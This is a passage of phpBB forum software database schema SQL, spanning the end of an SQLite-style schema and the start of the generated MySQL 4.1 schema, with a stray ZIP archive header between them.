NULL DEFAULT '', last_login INTEGER UNSIGNED NOT NULL DEFAULT '0', PRIMARY KEY (key_id, user_id) ); CREATE INDEX phpbb_sessions_keys_last_login ON phpbb_sessions_keys (last_login); # Table: 'phpbb_sitelist' CREATE TABLE phpbb_sitelist ( site_id INTEGER PRIMARY KEY NOT NULL , site_ip varchar(40) NOT NULL DEFAULT '', site_hostname varchar(255) NOT NULL DEFAULT '', ip_exclude INTEGER UNSIGNED NOT NULL DEFAULT '0' ); # Table: 'phpbb_smilies' CREATE TABLE phpbb_smilies ( smiley_id INTEGER PRIMARY KEY NOT NULL , code varchar(50) NOT NULL DEFAULT '', emotion varchar(50) NOT NULL DEFAULT '', smiley_url varchar(50) NOT NULL DEFAULT '', smiley_width INTEGER UNSIGNED NOT NULL DEFAULT '0', smiley_height INTEGER UNSIGNED NOT NULL DEFAULT '0', smiley_order INTEGER UNSIGNED NOT NULL DEFAULT '0', display_on_posting INTEGER UNSIGNED NOT NULL DEFAULT '1' ); CREATE INDEX phpbb_smilies_display_on_post ON phpbb_smilies (display_on_posting); # Table: 'phpbb_styles' CREATE TABLE phpbb_styles ( style_id INTEGER PRIMARY KEY NOT NULL , style_name varchar(255) NOT NULL DEFAULT '', style_copyright varchar(255) NOT NULL DEFAULT '', style_active INTEGER UNSIGNED NOT NULL DEFAULT '1', template_id INTEGER UNSIGNED NOT NULL DEFAULT '0', theme_id INTEGER UNSIGNED NOT NULL DEFAULT '0', imageset_id INTEGER UNSIGNED NOT NULL DEFAULT '0' ); CREATE UNIQUE INDEX phpbb_styles_style_name ON phpbb_styles (style_name); CREATE INDEX phpbb_styles_template_id ON phpbb_styles (template_id); CREATE INDEX phpbb_styles_theme_id ON phpbb_styles (theme_id); CREATE INDEX phpbb_styles_imageset_id ON phpbb_styles (imageset_id); # Table: 'phpbb_styles_template' CREATE TABLE phpbb_styles_template ( template_id INTEGER PRIMARY KEY NOT NULL , template_name varchar(255) NOT NULL DEFAULT '', template_copyright varchar(255) NOT NULL DEFAULT '', template_path varchar(100) NOT NULL DEFAULT '', bbcode_bitfield varchar(255) NOT NULL DEFAULT 'kNg=', template_storedb INTEGER UNSIGNED NOT NULL DEFAULT '0', template_inherits_id INTEGER UNSIGNED NOT NULL DEFAULT '0', template_inherit_path varchar(255) NOT NULL DEFAULT '' ); CREATE UNIQUE INDEX phpbb_styles_template_tmplte_nm ON phpbb_styles_template (template_name); # Table: 'phpbb_styles_template_data' CREATE TABLE phpbb_styles_template_data ( template_id INTEGER UNSIGNED NOT NULL DEFAULT '0', template_filename varchar(100) NOT NULL DEFAULT '', template_included text(65535) NOT NULL DEFAULT '', template_mtime INTEGER UNSIGNED NOT NULL DEFAULT '0', template_data mediumtext(16777215) NOT NULL DEFAULT '' ); CREATE INDEX phpbb_styles_template_data_tid ON phpbb_styles_template_data (template_id); CREATE INDEX phpbb_styles_template_data_tfn ON phpbb_styles_template_data (template_filename); # Table: 'phpbb_styles_theme' CREATE TABLE phpbb_styles_theme ( theme_id INTEGER PRIMARY KEY NOT NULL , theme_name varchar(255) NOT NULL DEFAULT '', theme_copyright varchar(255) NOT NULL DEFAULT '', theme_path varchar(100) NOT NULL DEFAULT '', theme_storedb INTEGER UNSIGNED NOT NULL DEFAULT '0', theme_mtime INTEGER UNSIGNED NOT NULL DEFAULT '0', theme_data mediumtext(16777215) NOT NULL DEFAULT '' ); CREATE UNIQUE INDEX phpbb_styles_theme_theme_name ON phpbb_styles_theme (theme_name); # Table: 'phpbb_styles_imageset' CREATE TABLE phpbb_styles_imageset ( imageset_id INTEGER PRIMARY KEY NOT NULL , imageset_name varchar(255) NOT NULL DEFAULT '', imageset_copyright varchar(255) NOT NULL DEFAULT '', imageset_path varchar(100) NOT NULL DEFAULT '' ); CREATE UNIQUE INDEX phpbb_styles_imageset_imgset_nm ON phpbb_styles_imageset (imageset_name); # Table: 'phpbb_styles_imageset_data' CREATE TABLE phpbb_styles_imageset_data ( image_id INTEGER PRIMARY KEY NOT NULL , image_name varchar(200) NOT NULL DEFAULT '', image_filename varchar(200) NOT NULL DEFAULT '', image_lang varchar(30) NOT NULL DEFAULT '', image_height INTEGER UNSIGNED NOT NULL DEFAULT '0', image_width INTEGER UNSIGNED NOT NULL DEFAULT '0', imageset_id INTEGER UNSIGNED NOT NULL DEFAULT '0' ); CREATE INDEX phpbb_styles_imageset_data_i_d ON phpbb_styles_imageset_data (imageset_id); # Table: 'phpbb_topics' CREATE TABLE phpbb_topics ( topic_id INTEGER PRIMARY KEY NOT NULL , forum_id INTEGER UNSIGNED NOT NULL DEFAULT '0', icon_id INTEGER UNSIGNED NOT NULL DEFAULT '0', topic_attachment INTEGER UNSIGNED NOT NULL DEFAULT '0', topic_approved INTEGER UNSIGNED NOT NULL DEFAULT '1', topic_reported INTEGER UNSIGNED NOT NULL DEFAULT '0', topic_title text(65535) NOT NULL DEFAULT '', topic_poster INTEGER UNSIGNED NOT NULL DEFAULT '0', topic_time INTEGER UNSIGNED NOT NULL DEFAULT '0', topic_time_limit INTEGER UNSIGNED NOT NULL DEFAULT '0', topic_views INTEGER UNSIGNED NOT NULL DEFAULT '0', topic_replies INTEGER UNSIGNED NOT NULL DEFAULT '0', topic_replies_real INTEGER UNSIGNED NOT NULL DEFAULT '0', topic_status tinyint(3) NOT NULL DEFAULT '0', topic_type tinyint(3) NOT NULL DEFAULT '0', topic_first_post_id INTEGER UNSIGNED NOT NULL DEFAULT '0', topic_first_poster_name varchar(255) NOT NULL DEFAULT '', topic_first_poster_colour varchar(6) NOT NULL DEFAULT '', topic_last_post_id INTEGER UNSIGNED NOT NULL DEFAULT '0', topic_last_poster_id INTEGER UNSIGNED NOT NULL DEFAULT '0', topic_last_poster_name varchar(255) NOT NULL DEFAULT '', topic_last_poster_colour varchar(6) NOT NULL DEFAULT '', topic_last_post_subject text(65535) NOT NULL DEFAULT '', topic_last_post_time INTEGER UNSIGNED NOT NULL DEFAULT '0', topic_last_view_time INTEGER UNSIGNED NOT NULL DEFAULT '0', topic_moved_id INTEGER UNSIGNED NOT NULL DEFAULT '0', topic_bumped INTEGER UNSIGNED NOT NULL DEFAULT '0', topic_bumper INTEGER UNSIGNED NOT NULL DEFAULT '0', poll_title text(65535) NOT NULL DEFAULT '', poll_start INTEGER UNSIGNED NOT NULL DEFAULT '0', poll_length INTEGER UNSIGNED NOT NULL DEFAULT '0', poll_max_options tinyint(4) NOT NULL DEFAULT '1', poll_last_vote INTEGER UNSIGNED NOT NULL DEFAULT '0', poll_vote_change INTEGER UNSIGNED NOT NULL DEFAULT '0' ); CREATE INDEX phpbb_topics_forum_id ON phpbb_topics (forum_id); CREATE INDEX phpbb_topics_forum_id_type ON phpbb_topics (forum_id, topic_type); CREATE INDEX phpbb_topics_last_post_time ON phpbb_topics (topic_last_post_time); CREATE INDEX phpbb_topics_topic_approved ON phpbb_topics (topic_approved); CREATE INDEX phpbb_topics_forum_appr_last ON phpbb_topics (forum_id, topic_approved, topic_last_post_id); CREATE INDEX phpbb_topics_fid_time_moved ON phpbb_topics (forum_id, topic_last_post_time, topic_moved_id); # Table: 'phpbb_topics_track' CREATE TABLE phpbb_topics_track ( user_id INTEGER UNSIGNED NOT NULL DEFAULT '0', topic_id INTEGER UNSIGNED NOT NULL DEFAULT '0', forum_id INTEGER UNSIGNED NOT NULL DEFAULT '0', mark_time INTEGER UNSIGNED NOT NULL DEFAULT '0', PRIMARY KEY (user_id, topic_id) ); CREATE INDEX phpbb_topics_track_topic_id ON phpbb_topics_track (topic_id); CREATE INDEX phpbb_topics_track_forum_id ON phpbb_topics_track (forum_id); # Table: 'phpbb_topics_posted' CREATE TABLE phpbb_topics_posted ( user_id INTEGER UNSIGNED NOT NULL DEFAULT '0', topic_id INTEGER UNSIGNED NOT NULL DEFAULT '0', topic_posted INTEGER UNSIGNED NOT NULL DEFAULT '0', PRIMARY KEY (user_id, topic_id) ); # Table: 'phpbb_topics_watch' CREATE TABLE phpbb_topics_watch ( topic_id INTEGER UNSIGNED NOT NULL DEFAULT '0', user_id INTEGER UNSIGNED NOT NULL DEFAULT '0', notify_status INTEGER UNSIGNED NOT NULL DEFAULT '0' ); CREATE INDEX phpbb_topics_watch_topic_id ON phpbb_topics_watch (topic_id); CREATE INDEX phpbb_topics_watch_user_id ON phpbb_topics_watch (user_id); CREATE INDEX phpbb_topics_watch_notify_stat ON phpbb_topics_watch (notify_status); # Table: 'phpbb_user_group' CREATE TABLE phpbb_user_group ( group_id INTEGER UNSIGNED NOT NULL DEFAULT '0', user_id INTEGER UNSIGNED NOT NULL DEFAULT '0', group_leader INTEGER UNSIGNED NOT NULL DEFAULT '0', user_pending INTEGER UNSIGNED NOT NULL DEFAULT '1' ); CREATE INDEX phpbb_user_group_group_id ON phpbb_user_group (group_id); CREATE INDEX phpbb_user_group_user_id ON phpbb_user_group (user_id); CREATE INDEX phpbb_user_group_group_leader ON phpbb_user_group (group_leader); # Table: 'phpbb_users' CREATE TABLE phpbb_users ( user_id INTEGER PRIMARY KEY NOT NULL , user_type tinyint(2) NOT NULL DEFAULT '0', group_id INTEGER UNSIGNED NOT NULL DEFAULT '3', user_permissions mediumtext(16777215) NOT NULL DEFAULT '', user_perm_from INTEGER UNSIGNED NOT NULL DEFAULT '0', user_ip varchar(40) NOT NULL DEFAULT '', user_regdate INTEGER UNSIGNED NOT NULL DEFAULT '0', username varchar(255) NOT NULL DEFAULT '', username_clean varchar(255) NOT NULL DEFAULT '', user_password varchar(40) NOT NULL DEFAULT '', user_passchg INTEGER UNSIGNED NOT NULL DEFAULT '0', user_pass_convert INTEGER UNSIGNED NOT NULL DEFAULT '0', user_email varchar(100) NOT NULL DEFAULT '', user_email_hash bigint(20) NOT NULL DEFAULT '0', user_birthday varchar(10) NOT NULL DEFAULT '', user_lastvisit INTEGER UNSIGNED NOT NULL DEFAULT '0', user_lastmark INTEGER UNSIGNED NOT NULL DEFAULT '0', user_lastpost_time INTEGER UNSIGNED NOT NULL DEFAULT '0', user_lastpage varchar(200) NOT NULL DEFAULT '', user_last_confirm_key varchar(10) NOT NULL DEFAULT '', user_last_search INTEGER UNSIGNED NOT NULL DEFAULT '0', user_warnings tinyint(4) NOT NULL DEFAULT '0', user_last_warning INTEGER UNSIGNED NOT NULL DEFAULT '0', user_login_attempts tinyint(4) NOT NULL DEFAULT '0', user_inactive_reason tinyint(2) NOT NULL DEFAULT '0', user_inactive_time INTEGER UNSIGNED NOT NULL DEFAULT '0', user_posts INTEGER UNSIGNED NOT NULL DEFAULT '0', user_lang varchar(30) NOT NULL DEFAULT '', user_timezone decimal(5,2) NOT NULL DEFAULT '0', user_dst INTEGER UNSIGNED NOT NULL DEFAULT '0', user_dateformat varchar(30) NOT NULL DEFAULT 'd M Y H:i', user_style INTEGER UNSIGNED NOT NULL DEFAULT '0', user_rank INTEGER UNSIGNED NOT NULL DEFAULT '0', user_colour varchar(6) NOT NULL DEFAULT '', user_new_privmsg int(4) NOT NULL DEFAULT '0', user_unread_privmsg int(4) NOT NULL DEFAULT '0', user_last_privmsg INTEGER UNSIGNED NOT NULL DEFAULT '0', user_message_rules INTEGER UNSIGNED NOT NULL DEFAULT '0', user_full_folder int(11) NOT NULL DEFAULT '-3', user_emailtime INTEGER UNSIGNED NOT NULL DEFAULT '0', user_topic_show_days INTEGER UNSIGNED NOT NULL DEFAULT '0', user_topic_sortby_type varchar(1) NOT NULL DEFAULT 't', user_topic_sortby_dir varchar(1) NOT NULL DEFAULT 'd', user_post_show_days INTEGER UNSIGNED NOT NULL DEFAULT '0', user_post_sortby_type varchar(1) NOT NULL DEFAULT 't', user_post_sortby_dir varchar(1) NOT NULL DEFAULT 'a', user_notify INTEGER UNSIGNED NOT NULL DEFAULT '0', user_notify_pm INTEGER UNSIGNED NOT NULL DEFAULT '1', user_notify_type tinyint(4) NOT NULL DEFAULT '0', user_allow_pm INTEGER UNSIGNED NOT NULL DEFAULT '1', user_allow_viewonline INTEGER UNSIGNED NOT NULL DEFAULT '1', user_allow_viewemail INTEGER UNSIGNED NOT NULL DEFAULT '1', user_allow_massemail INTEGER UNSIGNED NOT NULL DEFAULT '1', user_options INTEGER UNSIGNED NOT NULL DEFAULT '230271', user_avatar varchar(255) NOT NULL DEFAULT '', user_avatar_type tinyint(2) NOT NULL DEFAULT '0', user_avatar_width INTEGER UNSIGNED NOT NULL DEFAULT '0', user_avatar_height INTEGER UNSIGNED NOT NULL DEFAULT '0', user_sig mediumtext(16777215) NOT NULL DEFAULT '', user_sig_bbcode_uid varchar(8) NOT NULL DEFAULT '', user_sig_bbcode_bitfield varchar(255) NOT NULL DEFAULT '', user_from varchar(100) NOT NULL DEFAULT '', user_icq varchar(15) NOT NULL DEFAULT '', user_aim varchar(255) NOT NULL DEFAULT '', user_yim varchar(255) NOT NULL DEFAULT '', user_msnm varchar(255) NOT NULL DEFAULT '', user_jabber varchar(255) NOT NULL DEFAULT '', user_website varchar(200) NOT NULL DEFAULT '', user_occ text(65535) NOT NULL DEFAULT '', user_interests text(65535) NOT NULL DEFAULT '', user_actkey varchar(32) NOT NULL DEFAULT '', user_newpasswd varchar(40) NOT NULL DEFAULT '', user_form_salt varchar(32) NOT NULL DEFAULT '', user_new INTEGER UNSIGNED NOT NULL DEFAULT '1', user_reminded tinyint(4) NOT NULL DEFAULT '0', user_reminded_time INTEGER UNSIGNED NOT NULL DEFAULT '0' ); CREATE INDEX phpbb_users_user_birthday ON phpbb_users (user_birthday); CREATE INDEX phpbb_users_user_email_hash ON phpbb_users (user_email_hash); CREATE INDEX phpbb_users_user_type ON phpbb_users (user_type); CREATE UNIQUE INDEX phpbb_users_username_clean ON phpbb_users (username_clean); # Table: 'phpbb_warnings' CREATE TABLE phpbb_warnings ( warning_id INTEGER PRIMARY KEY NOT NULL , user_id INTEGER UNSIGNED NOT NULL DEFAULT '0', post_id INTEGER UNSIGNED NOT NULL DEFAULT '0', log_id INTEGER UNSIGNED NOT NULL DEFAULT '0', warning_time INTEGER UNSIGNED NOT NULL DEFAULT '0' ); # Table: 'phpbb_words' CREATE TABLE phpbb_words ( word_id INTEGER PRIMARY KEY NOT NULL , word varchar(255) NOT NULL DEFAULT '', replacement varchar(255) NOT NULL DEFAULT '' ); # Table: 'phpbb_zebra' CREATE TABLE phpbb_zebra ( user_id INTEGER UNSIGNED NOT NULL DEFAULT '0', zebra_id INTEGER UNSIGNED NOT NULL DEFAULT '0', friend INTEGER UNSIGNED NOT NULL DEFAULT '0', foe INTEGER UNSIGNED NOT NULL DEFAULT '0', PRIMARY KEY (user_id, zebra_id) ); COMMIT;PK‰† [.ç\©ž©žschemas/mysql_41_schema.sqlnuW+A„¶# DO NOT EDIT THIS FILE, IT IS GENERATED # # To change the contents of this file, edit # phpBB/develop/create_schema_files.php and # run it. # Table: 'phpbb_attachments' CREATE TABLE phpbb_attachments ( attach_id mediumint(8) UNSIGNED NOT NULL auto_increment, post_msg_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, topic_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, in_message tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, poster_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, is_orphan tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, physical_filename varchar(255) DEFAULT '' NOT NULL, real_filename varchar(255) DEFAULT '' NOT NULL, download_count mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, attach_comment text NOT NULL, extension varchar(100) DEFAULT '' NOT NULL, mimetype varchar(100) DEFAULT '' NOT NULL, filesize int(20) UNSIGNED DEFAULT '0' NOT NULL, filetime int(11) UNSIGNED DEFAULT '0' NOT NULL, thumbnail tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, PRIMARY KEY (attach_id), KEY filetime (filetime), KEY post_msg_id (post_msg_id), KEY topic_id (topic_id), KEY poster_id (poster_id), KEY is_orphan (is_orphan) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_acl_groups' CREATE TABLE phpbb_acl_groups ( group_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, forum_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, auth_option_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, auth_role_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, auth_setting tinyint(2) DEFAULT '0' NOT NULL, KEY group_id (group_id), KEY auth_opt_id (auth_option_id), KEY auth_role_id (auth_role_id) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_acl_options' CREATE TABLE phpbb_acl_options ( auth_option_id mediumint(8) UNSIGNED NOT NULL auto_increment, auth_option varchar(50) DEFAULT '' NOT NULL, is_global tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, is_local tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, founder_only tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, PRIMARY KEY (auth_option_id), UNIQUE auth_option (auth_option) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_acl_roles' CREATE TABLE phpbb_acl_roles ( role_id mediumint(8) UNSIGNED NOT NULL auto_increment, role_name varchar(255) DEFAULT '' NOT NULL, role_description text NOT NULL, role_type varchar(10) DEFAULT '' NOT NULL, role_order smallint(4) UNSIGNED DEFAULT '0' NOT NULL, PRIMARY KEY (role_id), KEY role_type (role_type), KEY role_order (role_order) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_acl_roles_data' CREATE TABLE phpbb_acl_roles_data ( role_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, auth_option_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, auth_setting tinyint(2) DEFAULT '0' NOT NULL, PRIMARY KEY (role_id, auth_option_id), KEY ath_op_id (auth_option_id) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_acl_users' CREATE TABLE phpbb_acl_users ( user_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, forum_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, auth_option_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, auth_role_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, auth_setting tinyint(2) DEFAULT '0' NOT NULL, KEY user_id (user_id), KEY auth_option_id (auth_option_id), KEY auth_role_id (auth_role_id) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_banlist' CREATE TABLE phpbb_banlist ( ban_id mediumint(8) UNSIGNED NOT NULL auto_increment, ban_userid mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, ban_ip varchar(40) DEFAULT '' NOT NULL, ban_email varchar(100) DEFAULT '' NOT NULL, ban_start int(11) UNSIGNED DEFAULT '0' NOT NULL, ban_end int(11) UNSIGNED DEFAULT '0' NOT NULL, ban_exclude tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, ban_reason varchar(255) DEFAULT '' NOT NULL, ban_give_reason varchar(255) DEFAULT '' NOT NULL, PRIMARY KEY (ban_id), KEY ban_end (ban_end), KEY ban_user (ban_userid, ban_exclude), KEY ban_email (ban_email, ban_exclude), KEY ban_ip (ban_ip, ban_exclude) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_bbcodes' CREATE TABLE phpbb_bbcodes ( bbcode_id smallint(4) UNSIGNED DEFAULT '0' NOT NULL, bbcode_tag varchar(16) DEFAULT '' NOT NULL, bbcode_helpline varchar(255) DEFAULT '' NOT NULL, display_on_posting tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, bbcode_match text NOT NULL, bbcode_tpl mediumtext NOT NULL, first_pass_match mediumtext NOT NULL, first_pass_replace mediumtext NOT NULL, second_pass_match mediumtext NOT NULL, second_pass_replace mediumtext NOT NULL, PRIMARY KEY (bbcode_id), KEY display_on_post (display_on_posting) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_bookmarks' CREATE TABLE phpbb_bookmarks ( topic_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, user_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, PRIMARY KEY (topic_id, user_id) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_bots' CREATE TABLE phpbb_bots ( bot_id mediumint(8) UNSIGNED NOT NULL auto_increment, bot_active tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, bot_name varchar(255) DEFAULT '' NOT NULL, user_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, bot_agent varchar(255) DEFAULT '' NOT NULL, bot_ip varchar(255) DEFAULT '' NOT NULL, PRIMARY KEY (bot_id), KEY bot_active (bot_active) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_config' CREATE TABLE phpbb_config ( config_name varchar(255) DEFAULT '' NOT NULL, config_value varchar(255) DEFAULT '' NOT NULL, is_dynamic tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, PRIMARY KEY (config_name), KEY is_dynamic (is_dynamic) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_confirm' CREATE TABLE phpbb_confirm ( confirm_id char(32) DEFAULT '' NOT NULL, session_id char(32) DEFAULT '' NOT NULL, confirm_type tinyint(3) DEFAULT '0' NOT NULL, code varchar(8) DEFAULT '' NOT NULL, seed int(10) UNSIGNED DEFAULT '0' NOT NULL, attempts mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, PRIMARY KEY (session_id, confirm_id), KEY confirm_type (confirm_type) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_disallow' CREATE TABLE phpbb_disallow ( disallow_id mediumint(8) UNSIGNED NOT NULL auto_increment, disallow_username varchar(255) DEFAULT '' NOT NULL, PRIMARY KEY (disallow_id) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_drafts' CREATE TABLE phpbb_drafts ( draft_id mediumint(8) UNSIGNED NOT NULL auto_increment, user_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, topic_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, forum_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, save_time int(11) UNSIGNED DEFAULT '0' NOT NULL, draft_subject varchar(255) DEFAULT '' NOT NULL, draft_message mediumtext NOT NULL, PRIMARY KEY (draft_id), KEY save_time (save_time) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_extensions' CREATE TABLE phpbb_extensions ( extension_id mediumint(8) UNSIGNED NOT NULL auto_increment, group_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, extension varchar(100) DEFAULT '' NOT NULL, PRIMARY KEY (extension_id) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_extension_groups' CREATE TABLE phpbb_extension_groups ( group_id mediumint(8) UNSIGNED NOT NULL auto_increment, group_name varchar(255) DEFAULT '' NOT NULL, cat_id tinyint(2) DEFAULT '0' NOT NULL, allow_group tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, download_mode tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, upload_icon varchar(255) DEFAULT '' NOT NULL, max_filesize int(20) UNSIGNED DEFAULT '0' NOT NULL, allowed_forums text NOT NULL, allow_in_pm tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, PRIMARY KEY (group_id) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_forums' CREATE TABLE phpbb_forums ( forum_id mediumint(8) UNSIGNED NOT NULL auto_increment, parent_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, left_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, right_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, forum_parents mediumtext NOT NULL, forum_name varchar(255) DEFAULT '' NOT NULL, forum_desc text NOT NULL, forum_desc_bitfield varchar(255) DEFAULT '' NOT NULL, forum_desc_options int(11) UNSIGNED DEFAULT '7' NOT NULL, forum_desc_uid varchar(8) DEFAULT '' NOT NULL, forum_link varchar(255) DEFAULT '' NOT NULL, forum_password varchar(40) DEFAULT '' NOT NULL, forum_style mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, forum_image varchar(255) DEFAULT '' NOT NULL, forum_rules text NOT NULL, forum_rules_link varchar(255) DEFAULT '' NOT NULL, forum_rules_bitfield varchar(255) DEFAULT '' NOT NULL, forum_rules_options int(11) UNSIGNED DEFAULT '7' NOT NULL, forum_rules_uid varchar(8) DEFAULT '' NOT NULL, forum_topics_per_page tinyint(4) DEFAULT '0' NOT NULL, forum_type tinyint(4) DEFAULT '0' NOT NULL, forum_status tinyint(4) DEFAULT '0' NOT NULL, forum_posts mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, forum_topics mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, forum_topics_real mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, forum_last_post_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, forum_last_poster_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, forum_last_post_subject varchar(255) DEFAULT '' NOT NULL, forum_last_post_time int(11) UNSIGNED DEFAULT '0' NOT NULL, forum_last_poster_name varchar(255) DEFAULT '' NOT NULL, forum_last_poster_colour varchar(6) DEFAULT '' NOT NULL, forum_flags tinyint(4) DEFAULT '32' NOT NULL, forum_options int(20) UNSIGNED DEFAULT '0' NOT NULL, display_subforum_list tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, display_on_index tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, enable_indexing tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, enable_icons tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, enable_prune tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, prune_next int(11) UNSIGNED DEFAULT '0' NOT NULL, prune_days mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, prune_viewed mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, prune_freq mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, PRIMARY KEY (forum_id), KEY left_right_id (left_id, right_id), KEY forum_lastpost_id (forum_last_post_id) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_forums_access' CREATE TABLE phpbb_forums_access ( forum_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, user_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, session_id char(32) DEFAULT '' NOT NULL, PRIMARY KEY (forum_id, user_id, session_id) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_forums_track' CREATE TABLE phpbb_forums_track ( user_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, forum_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, mark_time int(11) UNSIGNED DEFAULT '0' NOT NULL, PRIMARY KEY (user_id, forum_id) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_forums_watch' CREATE TABLE phpbb_forums_watch ( forum_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, user_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, notify_status tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, KEY forum_id (forum_id), KEY user_id (user_id), KEY notify_stat (notify_status) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_groups' CREATE TABLE phpbb_groups ( group_id mediumint(8) UNSIGNED NOT NULL auto_increment, group_type tinyint(4) DEFAULT '1' NOT NULL, group_founder_manage tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, group_skip_auth tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, group_name varchar(255) DEFAULT '' NOT NULL, group_desc text NOT NULL, group_desc_bitfield varchar(255) DEFAULT '' NOT NULL, group_desc_options int(11) UNSIGNED DEFAULT '7' NOT NULL, group_desc_uid varchar(8) DEFAULT '' NOT NULL, group_display tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, group_avatar varchar(255) DEFAULT '' NOT NULL, group_avatar_type tinyint(2) DEFAULT '0' NOT NULL, group_avatar_width smallint(4) UNSIGNED DEFAULT '0' NOT NULL, group_avatar_height smallint(4) UNSIGNED DEFAULT '0' NOT NULL, group_rank mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, group_colour varchar(6) DEFAULT '' NOT NULL, group_sig_chars mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, group_receive_pm tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, group_message_limit mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, group_max_recipients mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, group_legend tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, PRIMARY KEY (group_id), KEY group_legend_name (group_legend, group_name) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_icons' CREATE TABLE phpbb_icons ( icons_id mediumint(8) UNSIGNED NOT NULL auto_increment, icons_url varchar(255) DEFAULT '' NOT NULL, icons_width tinyint(4) DEFAULT '0' NOT NULL, icons_height tinyint(4) DEFAULT '0' NOT NULL, icons_order mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, display_on_posting tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, PRIMARY KEY (icons_id), KEY display_on_posting (display_on_posting) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_lang' CREATE TABLE phpbb_lang ( lang_id tinyint(4) NOT NULL auto_increment, lang_iso varchar(30) DEFAULT '' NOT NULL, lang_dir varchar(30) DEFAULT '' NOT NULL, lang_english_name varchar(100) DEFAULT '' NOT NULL, lang_local_name varchar(255) DEFAULT '' NOT NULL, lang_author varchar(255) DEFAULT '' NOT NULL, PRIMARY KEY 